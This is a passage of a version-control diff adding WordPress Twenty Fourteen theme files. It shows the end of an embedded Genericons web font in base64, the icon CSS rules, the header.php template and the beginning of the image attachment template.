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) format('woff'),
+         url('font/genericons-regular-webfont.ttf') format('truetype'),
+         url('font/genericons-regular-webfont.svg#genericonsregular') format('svg');
+    font-weight: normal;
+    font-style: normal;
+}
+
+
+/**
+ * All Genericons
+ */
+
+.genericon {
+	display: inline-block;
+	width: 16px;
+	height: 16px;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+	font-size: 16px;
+	line-height: 1;
+	font-family: 'Genericons';
+	text-decoration: inherit;
+	font-weight: normal;
+	font-style: normal;
+	vertical-align: top;
+}
+
+/**
+ * IE7 and IE6 hacks
+ */
+
+.genericon {
+	*overflow: auto;
+	*zoom: 1;
+	*display: inline;
+}
+
+/**
+ * Individual icons
+ */
+
+/* Post formats */
+.genericon-standard:before {        content: '\f100'; }
+.genericon-aside:before {           content: '\f101'; }
+.genericon-image:before {           content: '\f102'; }
+.genericon-gallery:before {         content: '\f103'; }
+.genericon-video:before {           content: '\f104'; }
+.genericon-status:before {          content: '\f105'; }
+.genericon-quote:before {           content: '\f106'; }
+.genericon-link:before {            content: '\f107'; }
+.genericon-chat:before {            content: '\f108'; }
+.genericon-audio:before {           content: '\f109'; }
+
+/* Social icons */
+.genericon-github:before {          content: '\f200'; }
+.genericon-dribbble:before {        content: '\f201'; }
+.genericon-twitter:before {         content: '\f202'; }
+.genericon-facebook:before {        content: '\f203'; }
+.genericon-facebook-alt:before {    content: '\f204'; }
+.genericon-wordpress:before {       content: '\f205'; }
+.genericon-googleplus:before {      content: '\f206'; }
+.genericon-linkedin:before {        content: '\f207'; }
+.genericon-linkedin-alt:before {    content: '\f208'; }
+.genericon-pinterest:before {       content: '\f209'; }
+.genericon-pinterest-alt:before {   content: '\f210'; }
+.genericon-flickr:before {          content: '\f211'; }
+.genericon-vimeo:before {           content: '\f212'; }
+.genericon-youtube:before {         content: '\f213'; }
+.genericon-tumblr:before {          content: '\f214'; }
+.genericon-instagram:before {       content: '\f215'; }
+.genericon-codepen:before {         content: '\f216'; }
+.genericon-polldaddy:before {       content: '\f217'; }
+.genericon-googleplus-alt:before {  content: '\f218'; }
+.genericon-path:before {            content: '\f219'; }
+.genericon-skype:before {           content: '\f220'; }
+.genericon-digg:before {            content: '\f221'; }
+.genericon-reddit:before {          content: '\f222'; }
+.genericon-stumbleupon:before {     content: '\f223'; }
+.genericon-pocket:before {          content: '\f224'; }
+.genericon-dropbox:before {         content: '\f225'; }
+
+/* Meta icons */
+.genericon-comment:before {         content: '\f300'; }
+.genericon-category:before {        content: '\f301'; }
+.genericon-tag:before {             content: '\f302'; }
+.genericon-time:before {            content: '\f303'; }
+.genericon-user:before {            content: '\f304'; }
+.genericon-day:before {             content: '\f305'; }
+.genericon-week:before {            content: '\f306'; }
+.genericon-month:before {           content: '\f307'; }
+.genericon-pinned:before {          content: '\f308'; }
+
+/* Other icons */
+.genericon-search:before {          content: '\f400'; }
+.genericon-unzoom:before {          content: '\f401'; }
+.genericon-zoom:before {            content: '\f402'; }
+.genericon-show:before {            content: '\f403'; }
+.genericon-hide:before {            content: '\f404'; }
+.genericon-close:before {           content: '\f405'; }
+.genericon-close-alt:before {       content: '\f406'; }
+.genericon-trash:before {           content: '\f407'; }
+.genericon-star:before {            content: '\f408'; }
+.genericon-home:before {            content: '\f409'; }
+.genericon-mail:before {            content: '\f410'; }
+.genericon-edit:before {            content: '\f411'; }
+.genericon-reply:before {           content: '\f412'; }
+.genericon-feed:before {            content: '\f413'; }
+.genericon-warning:before {         content: '\f414'; }
+.genericon-share:before {           content: '\f415'; }
+.genericon-attachment:before {      content: '\f416'; }
+.genericon-location:before {        content: '\f417'; }
+.genericon-checkmark:before {       content: '\f418'; }
+.genericon-menu:before {            content: '\f419'; }
+.genericon-refresh:before {         content: '\f420'; }
+.genericon-minimize:before {        content: '\f421'; }
+.genericon-maximize:before {        content: '\f422'; }
+.genericon-404:before {             content: '\f423'; }
+.genericon-spam:before {            content: '\f424'; }
+.genericon-summary:before {         content: '\f425'; }
+.genericon-cloud:before {           content: '\f426'; }
+.genericon-key:before {             content: '\f427'; }
+.genericon-dot:before {             content: '\f428'; }
+.genericon-next:before {            content: '\f429'; }
+.genericon-previous:before {        content: '\f430'; }
+.genericon-expand:before {          content: '\f431'; }
+.genericon-collapse:before {        content: '\f432'; }
+.genericon-dropdown:before {        content: '\f433'; }
+.genericon-dropdown-left:before {   content: '\f434'; }
+.genericon-top:before {             content: '\f435'; }
+.genericon-draggable:before {       content: '\f436'; }
+.genericon-phone:before {           content: '\f437'; }
+.genericon-send-to-phone:before {   content: '\f438'; }
+.genericon-plugin:before {          content: '\f439'; }
+.genericon-cloud-download:before {  content: '\f440'; }
+.genericon-cloud-upload:before {    content: '\f441'; }
+.genericon-external:before {        content: '\f442'; }
+.genericon-document:before {        content: '\f443'; }
+.genericon-book:before {            content: '\f444'; }
+.genericon-cog:before {             content: '\f445'; }
+.genericon-unapprove:before {       content: '\f446'; }
+.genericon-cart:before {            content: '\f447'; }
+.genericon-pause:before {           content: '\f448'; }
+.genericon-stop:before {            content: '\f449'; }
+.genericon-skip-back:before {       content: '\f450'; }
+.genericon-skip-ahead:before {      content: '\f451'; }
+.genericon-play:before {            content: '\f452'; }
+.genericon-tablet:before {          content: '\f453'; }
+.genericon-send-to-tablet:before {  content: '\f454'; }
+.genericon-info:before {            content: '\f455'; }
+.genericon-notice:before {          content: '\f456'; }
+.genericon-help:before {            content: '\f457'; }
+.genericon-fastforward:before {     content: '\f458'; }
+.genericon-rewind:before {          content: '\f459'; }
+.genericon-portfolio:before {       content: '\f460'; }
+.genericon-heart:before {           content: '\f461'; }
+.genericon-code:before {            content: '\f462'; }
+.genericon-subscribe:before {       content: '\f463'; }
+.genericon-unsubscribe:before {     content: '\f464'; }
+.genericon-subscribed:before {      content: '\f465'; }
+.genericon-reply-alt:before {       content: '\f466'; }
+.genericon-reply-single:before {    content: '\f467'; }
+.genericon-flag:before {            content: '\f468'; }
+.genericon-print:before {           content: '\f469'; }
+.genericon-lock:before {            content: '\f470'; }
+.genericon-bold:before {            content: '\f471'; }
+.genericon-italic:before {          content: '\f472'; }
+.genericon-picture:before {         content: '\f473'; }
+.genericon-fullscreen:before {      content: '\f474'; }
+
+/* Generic shapes */
+.genericon-uparrow:before {         content: '\f500'; }
+.genericon-rightarrow:before {      content: '\f501'; }
+.genericon-downarrow:before {       content: '\f502'; }
+.genericon-leftarrow:before {       content: '\f503'; }
+
+
+
+
+
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/header.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/header.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/header.php	(revision 56912)
@@ -0,0 +1,65 @@
+<?php
+/**
+ * The Header for our theme
+ *
+ * Displays all of the <head> section and everything up till <div id="main">
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+?><!DOCTYPE html>
+<!--[if IE 7]>
+<html class="ie ie7" <?php language_attributes(); ?>>
+<![endif]-->
+<!--[if IE 8]>
+<html class="ie ie8" <?php language_attributes(); ?>>
+<![endif]-->
+<!--[if !(IE 7) & !(IE 8)]><!-->
+<html <?php language_attributes(); ?>>
+<!--<![endif]-->
+<head>
+	<meta charset="<?php bloginfo( 'charset' ); ?>">
+	<meta name="viewport" content="width=device-width">
+	<title><?php wp_title( '|', true, 'right' ); ?></title>
+	<link rel="profile" href="http://gmpg.org/xfn/11">
+	<link rel="pingback" href="<?php bloginfo( 'pingback_url' ); ?>">
+	<!--[if lt IE 9]>
+	<script src="<?php echo get_template_directory_uri(); ?>/js/html5.js"></script>
+	<![endif]-->
+	<?php wp_head(); ?>
+</head>
+
+<body <?php body_class(); ?>>
+<div id="page" class="hfeed site">
+	<?php if ( get_header_image() ) : ?>
+	<div id="site-header">
+		<a href="<?php echo esc_url( home_url( '/' ) ); ?>" rel="home">
+			<img src="<?php header_image(); ?>" width="<?php echo get_custom_header()->width; ?>" height="<?php echo get_custom_header()->height; ?>" alt="<?php echo esc_attr( get_bloginfo( 'name', 'display' ) ); ?>">
+		</a>
+	</div>
+	<?php endif; ?>
+
+	<header id="masthead" class="site-header" role="banner">
+		<div class="header-main">
+			<h1 class="site-title"><a href="<?php echo esc_url( home_url( '/' ) ); ?>" rel="home"><?php bloginfo( 'name' ); ?></a></h1>
+
+			<div class="search-toggle">
+				<a href="#search-container" class="screen-reader-text" aria-expanded="false" aria-controls="search-container"><?php _e( 'Search', 'twentyfourteen' ); ?></a>
+			</div>
+
+			<nav id="primary-navigation" class="site-navigation primary-navigation" role="navigation">
+				<button class="menu-toggle"><?php _e( 'Primary Menu', 'twentyfourteen' ); ?></button>
+				<a class="screen-reader-text skip-link" href="#content"><?php _e( 'Skip to content', 'twentyfourteen' ); ?></a>
+				<?php wp_nav_menu( array( 'theme_location' => 'primary', 'menu_class' => 'nav-menu', 'menu_id' => 'primary-menu' ) ); ?>
+			</nav>
+		</div>
+
+		<div id="search-container" class="search-box-wrapper hide">
+			<div class="search-box">
+				<?php get_search_form(); ?>
+			</div>
+		</div>
+	</header><!-- #masthead -->
+
+	<div id="main" class="site-main">
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/image.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/image.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/image.php	(revision 56912)
@@ -0,0 +1,79 @@
+<?php
+/**
+ * The template for displaying image attachments
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+
+// Retrieve attachment metadata.
+$metadata = wp_get_attachment_metadata();
+
+get_header();
+?>
+
+	<section id="primary" class="content-area image-attachment">
+		<div id="content" class="site-content" role="main">
+
+	<?php
+		// Start the Loop.
+		while ( have_posts() ) : the_post();
+	?>
+			<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+				<header class="entry-header">
+					<?php the_title( '<h1 class="entry-title">', '</h1>' ); ?>
+
+					<div class="entry-meta">
+
+						<span class="entry-date"><time class="entry-date" datetime="<?php echo esc_attr( get_the_date( 'c' ) ); ?>"><?php echo esc_html( get_the_date() ); ?></time></span>
+
+						<span class="full-size-link"><a href="<?php echo esc_url( wp_get_attachment_url() ); ?>"><?php echo esc_html( $metadata['width'] ); ?> &times; <?php echo esc_html( $metadata['height'] ); ?></a></span>
+
+						<span class="parent-post-link"><a href="<?php echo esc_url( get_permalink( $post->post_parent ) ); ?>" rel="gallery"><?php echo get_the_title( $post->post_parent ); ?></a></span>
+						<?php edit_post_link( __( 'Edit', 'twentyfourteen' ), '<span class="edit-link">', '</span>' ); ?>
+					</div><!-- .entry-meta -->
+				</header><!-- .entry-header -->
+
+				<div class="entry-content">
+					<div class="entry-attachment">
+						<div class="attachment">
+							<?php twentyfourteen_the_attached_image(); ?>
+						</div><!-- .attachment -->
+
+						<?php if ( has_excerpt() ) : ?>
+						<div class="entry-caption">
+							<?php the_excerpt(); ?>
+						</div><!-- .entry-caption -->
+						<?php endif; ?>
+					</div><!-- .entry-attachment -->
+
+					<?php
+						the_content();
+						wp_link_pages( array(
+							'before'      => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentyfourteen' ) . '</span>',
+							'after'       => '</div>',
+							'link_before' => '<span>',
+							'link_after'  => '</span>',
+						) );
+					?>
+				</div><!-- .entry-content -->
+			</article><!-- #post-## -->
+
+			<nav id="image-navigation" class="navigation image-navigation">
+				<div class="nav-links">
